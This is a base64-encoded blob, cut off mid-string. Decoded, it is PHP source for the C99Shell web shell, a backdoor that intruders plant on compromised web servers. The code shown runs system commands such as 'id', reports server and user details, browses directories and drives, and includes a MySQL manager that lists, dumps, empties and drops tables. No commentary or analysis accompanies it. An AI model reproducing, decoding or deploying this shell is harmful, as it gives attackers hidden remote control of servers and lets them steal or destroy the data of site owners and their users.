DMCI+PHRyPjx0aCB3aWR0aD0iMTAxJSIgaGVpZ2h0PSIxNSIgbm93cmFwIGJvcmRlcmNvbG9yPSIjQzBDMEMwIiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PHA+PGZvbnQgZmFjZT1XZWJkaW5ncyBzaXplPTY+PGI+ITwvYj48L2ZvbnQ+PGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjUiPjxiPkM5OVNoZWxsIHYuIDw/cGhwIGVjaG8gJHNodmVyOyA/PjwvYj48L2ZvbnQ+PC9hPjxmb250IGZhY2U9V2ViZGluZ3Mgc2l6ZT02PjxiPiE8L2I+PC9mb250PjwvcD48L2NlbnRlcj48L3RoPjwvdHI+PHRyPjx0ZD48cCBhbGlnbj0ibGVmdCI+PGI+U29mdHdhcmU6Jm5ic3A7PD9waHAgZWNobyAkRElTUF9TRVJWRVJfU09GVFdBUkU7ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+dW5hbWUgLWE6Jm5ic3A7PD9waHAgZWNobyB3b3Jkd3JhcChwaHBfdW5hbWUoKSw5MCwiPGJyPiIsMSk7ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+PD9waHAgaWYgKCEkd2luKSB7ZWNobyB3b3Jkd3JhcChteXNoZWxsZXhlYygiaWQiKSw5MCwiPGJyPiIsMSk7fSBlbHNlIHtlY2hvIGdldF9jdXJyZW50X3VzZXIoKTt9ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+U2FmZS1tb2RlOiZuYnNwOzw/cGhwIGVjaG8gJGhzYWZlbW9kZTsgPz48L2I+PC9wPjxwIGFsaWduPSJsZWZ0Ij48P3BocA0KJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KaWYgKGVtcHR5KCRkKSkgeyRkID0gcmVhbHBhdGgoIi4iKTt9IGVsc2VpZihyZWFscGF0aCgkZCkpIHskZCA9IHJlYWxwYXRoKCRkKTt9DQokZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQppZiAoc3Vic3RyKCRkLC0xLDEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiRkID0gc3RyX3JlcGxhY2UoIlxcXFwiLCJcXCIsJGQpOw0KJGRpc3BkID0gaHRtbHNwZWNpYWxjaGFycygkZCk7DQokcGQgPSAkZSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUixzdWJzdHIoJGQsMCxzdHJsZW4oJGQpLTEpKTsNCiRpID0gMDsNCmZvcmVhY2goJHBkIGFzICRiKQ0Kew0KICR0ID0gIiI7DQogcmVzZXQoJGUpOw0KICRqID0gMDsNCiBmb3JlYWNoICgkZSBhcyAkcikNCiB7DQogICR0Lj0gJHIuRElSRUNUT1JZX1NFUEFSQVRPUjsNCiAgaWYgKCRqID09ICRpKSB7YnJlYWs7fQ0KICAkaisrOw0KIH0NCiBlY2hvICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii51cmxlbmNvZGUoJHQpLiImc29ydD0iLiRzb3J0LiJcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJGIpLkRJUkVDVE9SWV9TRVBBUkFUT1IuIjwvYj48L2E+IjsNCiAkaSsrOw0KfQ0KZWNobyAiJm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCmlmIChpc193cml0YWJsZSgkZCkpDQp7DQogJHdkID0gdHJ1ZTsNCiAkd2R0ID0gIjxmb250IGNvbG9yPVwiZ3JlZW5cIj5bIG9rIF08L2ZvbnQ+IjsNCiBlY2hvICI8Yj48Zm9udCBjb2xvcj1cImdyZWVuXCI+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkZCkpLiI8L2ZvbnQ+PC9iPiI7DQp9DQplbHNlDQp7DQogJHdkID0gZmFsc2U7DQogJHdkdCA9ICI8Zm9udCBjb2xvcj1cInJlZFwiPlsgUmVhZC1Pbmx5IF08L2ZvbnQ+IjsNCiBlY2hvICI8Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+IjsNCn0NCmlmIChpc19jYWxsYWJsZSgiZGlza19mcmVlX3NwYWNlIikpDQp7DQogJGZyZWUgPSBkaXNrX2ZyZWVfc3BhY2UoJGQpOw0KICR0b3RhbCA9IGRpc2tfdG90YWxfc3BhY2UoJGQpOw0KIGlmICgkZnJlZSA9PT0gZmFsc2UpIHskZnJlZSA9IDA7fQ0KIGlmICgkdG90YWwgPT09IGZhbHNlKSB7JHRvdGFsID0gMDt9DQogaWYgKCRmcmVlIDwgMCkgeyRmcmVlID0gMDt9DQogaWYgKCR0b3RhbCA8IDApIHskdG90YWwgPSAwO30NCiAkdXNlZCA9ICR0b3RhbC0kZnJlZTsNCiAkZnJlZV9wZXJjZW50ID0gcm91bmQoMTAwLygkdG90YWwvJGZyZWUpLDIpOw0KIGVjaG8gIjxicj48Yj5GcmVlICIudmlld19zaXplKCRmcmVlKS4iIG9mICIudmlld19zaXplKCR0b3RhbCkuIiAoIi4kZnJlZV9wZXJjZW50LiIlKTwvYj4iOw0KfQ0KZWNobyAiPGJyPiI7DQokbGV0dGVycyA9ICIiOw0KaWYgKCR3aW4pDQp7DQogJHYgPSBleHBsb2RlKCJcXCIsJGQpOw0KICR2ID0gJHZbMF07DQogZm9yZWFjaCAocmFuZ2UoImEiLCJ6IikgYXMgJGxldHRlcikNCiB7DQogICRib29sID0gJGlzZGlza2V0dGUgPSBpbl9hcnJheSgkbGV0dGVyLCRzYWZlbW9kZV9kaXNrZXR0ZXMpOw0KICBpZiAoISRib29sKSB7JGJvb2wgPSBpc19kaXIoJGxldHRlci4iOlxcIik7fQ0KICBpZiAoJGJvb2wpDQogIHsNCiAgICRsZXR0ZXJzIC49ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii4kbGV0dGVyLiI6XFxcIiIuKCRpc2Rpc2tldHRlPyIgb25jbGljaz1cInJldHVybiBjb25maXJtKCdNYWtlIHN1cmUgdGhhdCB0aGUgZGlza2V0dGUgaXMgaW5zZXJ0ZWQgcHJvcGVybHksIG90aGVyd2lzZSBhbiBlcnJvciBtYXkgb2NjdXIuJylcIiI6IiIpLiI+WyAiOw0KICAgaWYgKCRsZXR0ZXIuIjoiICE9ICR2KSB7JGxldHRlcnMgLj0gJGxldHRlcjt9DQogICBlbHNlIHskbGV0dGVycyAuPSAiPGZvbnQgY29sb3I9XCJncmVlblwiPiIuJGxldHRlci4iPC9mb250PiI7fQ0KICAgJGxldHRlcnMgLj0gIiBdPC9hPiAiOw0KICB9DQogfQ0KIGlmICghZW1wdHkoJGxldHRlcnMpKSB7ZWNobyAiPGI+RGV0ZWN0ZWQgZHJpdmVzPC9iPjogIi4kbGV0dGVycy4iPGJyPiI7fQ0KfQ0KaWYgKGNvdW50KCRxdWlja2xhdW5jaCkgPiAwKQ0Kew0KIGZvcmVhY2goJHF1aWNrbGF1bmNoIGFzICRpdGVtKQ0KIHsNCiAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJWQiLHVybGVuY29kZSgkZCksJGl0ZW1bMV0pOw0KICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlc29ydCIsJHNvcnQsJGl0ZW1bMV0pOw0KICAkdiA9IHJlYWxwYXRoKCRkLiIuLiIpOw0KICBpZiAoZW1wdHkoJHYpKSB7JGEgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOyB1bnNldCgkYVtjb3VudCgkYSktMl0pOyAkdiA9IGpvaW4oRElSRUNUT1JZX1NFUEFSQVRPUiwkYSk7fQ0KICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIldXBkIix1cmxlbmNvZGUoJHYpLCRpdGVtWzFdKTsNCiAgZWNobyAiPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiOw0KIH0NCn0NCj8+PC9wPjwvdGQ+PC90cj48L3RhYmxlPjxicj48P3BocA0KaWYgKCghZW1wdHkoJGRvbmF0ZWRfaHRtbCkpIGFuZCAoaW5fYXJyYXkoJGFjdCwkZG9uYXRlZF9hY3QpKSkgez8+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD0iMTAwJSIgdmFsaWduPSJ0b3AiPjw/cGhwIGVjaG8gJGRvbmF0ZWRfaHRtbDsgPz48L3RkPjwvdHI+PC90YWJsZT48YnI+PD9waHAgfQ0KPz48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPSIxMDAlIiB2YWxpZ249InRvcCI+PD9waHANCmlmICgkYWN0ID09ICIiKSB7JGFjdCA9ICRkc3BhY3QgPSAibHMiO30NCmlmICgkYWN0ID09ICJzcWwiKQ0Kew0KICRzcWxfc3VybCA9ICRzdXJsLiJhY3Q9c3FsIjsNCiBpZiAoJHNxbF9sb2dpbikgIHskc3FsX3N1cmwgLj0gIiZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pO30NCiBpZiAoJHNxbF9wYXNzd2QpIHskc3FsX3N1cmwgLj0gIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7fQ0KIGlmICgkc3FsX3NlcnZlcikgeyRzcWxfc3VybCAuPSAiJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTt9DQogaWYgKCRzcWxfcG9ydCkgICB7JHNxbF9zdXJsIC49ICImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7fQ0KIGlmICgkc3FsX2RiKSAgICAgeyRzcWxfc3VybCAuPSAiJnNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7fQ0KICRzcWxfc3VybCAuPSAiJiI7DQogPz48aDM+QXR0ZW50aW9uISBTUUwtTWFuYWdlciBpcyA8dT5OT1Q8L3U+IHJlYWR5IG1vZHVsZSEgRG9uJ3QgcmVwb3J0cyBidWdzLjwvaDM+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTEgYm9yZGVyY29sb3I9IiNDMEMwQzAiPjx0cj48dGQgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSIgY29sc3Bhbj0iMiIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PD9waHANCiBpZiAoJHNxbF9zZXJ2ZXIpDQogew0KICAkc3FsX3NvY2sgPSBteXNxbF9jb25uZWN0KCRzcWxfc2VydmVyLiI6Ii4kc3FsX3BvcnQsICRzcWxfbG9naW4sICRzcWxfcGFzc3dkKTsNCiAgJGVyciA9IG15c3FsX3NtYXJ0ZXJyb3IoKTsNCiAgQG15c3FsX3NlbGVjdF9kYigkc3FsX2RiLCRzcWxfc29jayk7DQogIGlmICgkc3FsX3F1ZXJ5IGFuZCAkc3VibWl0KSB7JHNxbF9xdWVyeV9yZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jayk7ICRzcWxfcXVlcnlfZXJyb3IgPSBteXNxbF9zbWFydGVycm9yKCk7fQ0KIH0NCiBlbHNlIHskc3FsX3NvY2sgPSBmYWxzZTt9DQogZWNobyAiPGI+U1FMIE1hbmFnZXI6PC9iPjxicj4iOw0KIGlmICghJHNxbF9zb2NrKQ0KIHsNCiAgaWYgKCEkc3FsX3NlcnZlcikge2VjaG8gIk5PIENPTk5FQ1RJT04iO30NCiAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5DYW4ndCBjb25uZWN0PC9iPjwvY2VudGVyPiI7IGVjaG8gIjxiPiIuJGVyci4iPC9iPiI7fQ0KIH0NCiBlbHNlDQogew0KICAkc3FscXVpY2tsYXVuY2ggPSBhcnJheSgpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJJbmRleCIsJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIik7DQogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlF1ZXJ5Iiwkc3FsX3N1cmwuInNxbF9hY3Q9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXItc3RhdHVzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXNlcnZlcnN0YXR1cyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXIgdmFyaWFibGVzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXNlcnZlcnZhcnMiKTsNCiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUHJvY2Vzc2VzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXByb2Nlc3NlcyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJMb2dvdXQiLCRzdXJsLiJhY3Q9c3FsIik7DQogIGVjaG8gIjxjZW50ZXI+PGI+TXlTUUwgIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iIChwcm90byB2LiIubXlzcWxfZ2V0X3Byb3RvX2luZm8gKCkuIikgcnVubmluZyBpbiAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiI6Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiBhcyAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIkAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiIgKHBhc3N3b3JkIC0gXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIik8L2I+PGJyPiI7DQogIGlmIChjb3VudCgkc3FscXVpY2tsYXVuY2gpID4gMCkge2ZvcmVhY2goJHNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7ZWNobyAiWyA8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+PGI+Ii4kaXRlbVswXS4iPC9iPjwvYT4gXSAiO319DQogIGVjaG8gIjwvY2VudGVyPiI7DQogfQ0KIGVjaG8gIjwvdGQ+PC90cj48dHI+IjsNCiBpZiAoISRzcWxfc29jaykgez8+PHRkIHdpZHRoPSIyOCUiIGhlaWdodD0iMTAwIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Zm9udCBzaXplPSI1Ij4gaSA8L2ZvbnQ+PC9jZW50ZXI+PGxpPklmIGxvZ2luIGlzIG51bGwsIGxvZ2luIGlzIG93bmVyIG9mIHByb2Nlc3MuPGxpPklmIGhvc3QgaXMgbnVsbCwgaG9zdCBpcyBsb2NhbGhvc3Q8L2I+PGxpPklmIHBvcnQgaXMgbnVsbCwgcG9ydCBpcyAzMzA2IChkZWZhdWx0KTwvdGQ+PHRkIHdpZHRoPSI5MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxUQUJMRSBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgd2lkdGg9IjEwMCUiIGJvcmRlcj0wPjx0cj48dGQ+Jm5ic3A7PGI+UGxlYXNlLCBmaWxsIHRoZSBmb3JtOjwvYj48dGFibGU+PHRyPjx0ZD48Yj5Vc2VybmFtZTwvYj48L3RkPjx0ZD48Yj5QYXNzd29yZDwvYj4mbmJzcDs8L3RkPjx0ZD48Yj5EYXRhYmFzZTwvYj4mbmJzcDs8L3RkPjwvdHI+PGZvcm0+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48dHI+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSJyb290IiBtYXhsZW5ndGg9IjY0Ij48L3RkPjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSIiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfZGIiIHZhbHVlPSIiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PC90cj48dHI+PHRkPjxiPkhvc3Q8L2I+PC90ZD48dGQ+PGI+UE9SVDwvYj48L3RkPjwvdHI+PHRyPjx0ZCBhbGlnbj1yaWdodD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9ImxvY2FsaG9zdCIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iMzMwNiIgbWF4bGVuZ3RoPSI2IiBzaXplPSIzIj48L3RkPjx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCI+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+PD9waHAgfQ0KIGVsc2UNCiB7DQogIC8vU3RhcnQgbGVmdCBwYW5lbA0KICBpZiAoIWVtcHR5KCRzcWxfZGIpKQ0KICB7DQogICA/Pjx0ZCB3aWR0aD0iMjUlIiBoZWlnaHQ9IjEwMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSI8P3BocCBlY2hvICRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJiI7ID8+Ij48Yj5Ib21lPC9iPjwvYT48aHIgc2l6ZT0iMSIgbm9zaGFkZT48P3BocA0KICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfdGFibGVzKCRzcWxfZGIpOw0KICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgZWxzZQ0KICAgew0KICAgIGVjaG8gIi0tLVsgPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiImXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiI8L2I+PC9hPiBdLS0tPGJyPiI7DQogICAgJGMgPSAwOw0KICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHskY291bnQgPSBteXNxbF9xdWVyeSAoIlNFTEVDVCBDT1VOVCgqKSBGUk9NICIuJHJvd1swXSk7ICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkY291bnQpOyBlY2hvICI8Yj67Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfZGI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiImc3FsX3RibD0iLmh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSkuIlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkcm93WzBdKS4iPC9iPjwvYT4gKCIuJGNvdW50X3Jvd1swXS4iKTwvYnI+PC9iPiI7IG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7ICRjKys7fQ0KICAgIGlmICghJGMpIHtlY2hvICJObyB0YWJsZXMgZm91bmQgaW4gZGF0YWJhc2UuIjt9DQogICB9DQogIH0NCiAgZWxzZQ0KICB7DQogICA/Pjx0ZCB3aWR0aD0iMSIgaGVpZ2h0PSIxMDAiIHZhbGlnbj0idG9wIj48YSBocmVmPSI8P3BocCBlY2hvICRzcWxfc3VybDsgPz4iPjxiPkhvbWU8L2I+PC9hPjxociBzaXplPSIxIiBub3NoYWRlPjw/cGhwDQogICAkcmVzdWx0ID0gbXlzcWxfbGlzdF9kYnMoJHNxbF9zb2NrKTsNCiAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgIGVsc2UNCiAgIHsNCiAgICA/Pjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48c2VsZWN0IG5hbWU9InNxbF9kYiI+PD9waHANCiAgICAkYyA9IDA7DQogICAgJGRicyA9ICIiOw0KICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSB7JGRicyAuPSAiPG9wdGlvbiB2YWx1ZT1cIiIuJHJvd1swXS4iXCIiOyBpZiAoJHNxbF9kYiA9PSAkcm93WzBdKSB7JGRicyAuPSAiIHNlbGVjdGVkIjt9ICRkYnMgLj0gIj4iLiRyb3dbMF0uIjwvb3B0aW9uPiI7ICRjKys7fQ0KICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5EYXRhYmFzZXMgKCIuJGMuIik8L29wdGlvbj4iOw0KICAgIGVjaG8gJGRiczsNCiAgIH0NCiAgID8+PC9zZWxlY3Q+PGhyIHNpemU9IjEiIG5vc2hhZGU+UGxlYXNlLCBzZWxlY3QgZGF0YWJhc2U8aHIgc2l6ZT0iMSIgbm9zaGFkZT48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iPjwvZm9ybT48P3BocA0KICB9DQogIC8vRW5kIGxlZnQgcGFuZWwNCiAgZWNobyAiPC90ZD48dGQgd2lkdGg9XCIxMDAlXCIgaGVpZ2h0PVwiMVwiIHZhbGlnbj1cInRvcFwiPiI7DQogIC8vU3RhcnQgY2VudGVyIHBhbmVsDQogICRkaXBsYXkgPSB0cnVlOw0KICBpZiAoJHNxbF9kYikNCiAgew0KICAgaWYgKCFpc19udW1lcmljKCRjKSkgeyRjID0gMDt9DQogICBpZiAoJGMgPT0gMCkgeyRjID0gIm5vIjt9DQogICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxjZW50ZXI+PGI+VGhlcmUgYXJlICIuJGMuIiB0YWJsZShzKSBpbiB0aGlzIERCICgiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIikuPGJyPiI7DQogICBpZiAoY291bnQoJGRicXVpY2tsYXVuY2gpID4gMCkge2ZvcmVhY2goJGRic3FscXVpY2tsYXVuY2ggYXMgJGl0ZW0pIHtlY2hvICJbIDxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+IF0gIjt9fQ0KICAgZWNobyAiPC9iPjwvY2VudGVyPiI7DQogICAkYWN0cyA9IGFycmF5KCIiLCJkdW1wIik7DQogICBpZiAoJHNxbF9hY3QgPT0gInRibGRyb3AiKSB7JHNxbF9xdWVyeSA9ICJEUk9QIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLHN0cmxlbigkc3FsX3F1ZXJ5KS0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9DQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxlbXB0eSIpIHskc3FsX3F1ZXJ5ID0gIiI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIkRFTEVURSBGUk9NIGAiLiR2LiJgIFxuIjt9ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9DQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxkdW1wIikge2lmIChjb3VudCgkYm94dGJsKSA+IDApIHskZG1wdGJscyA9ICRib3h0Ymw7fSBlbHNlaWYoJHRoaXN0YmwpIHskZG1wdGJscyA9IGFycmF5KCRzcWxfdGJsKTt9ICRzcWxfYWN0ID0gImR1bXAiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGNoZWNrIikgeyRzcWxfcXVlcnkgPSAiQ0hFQ0sgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsc3RybGVuKCRzcWxfcXVlcnkpLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibG9wdGltaXplIikgeyRzcWxfcXVlcnkgPSAiT1BUSU1JWkUgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsc3RybGVuKCRzcWxfcXVlcnkpLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibHJlcGFpciIpIHskc3FsX3F1ZXJ5ID0gIlJFUEFJUiBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3R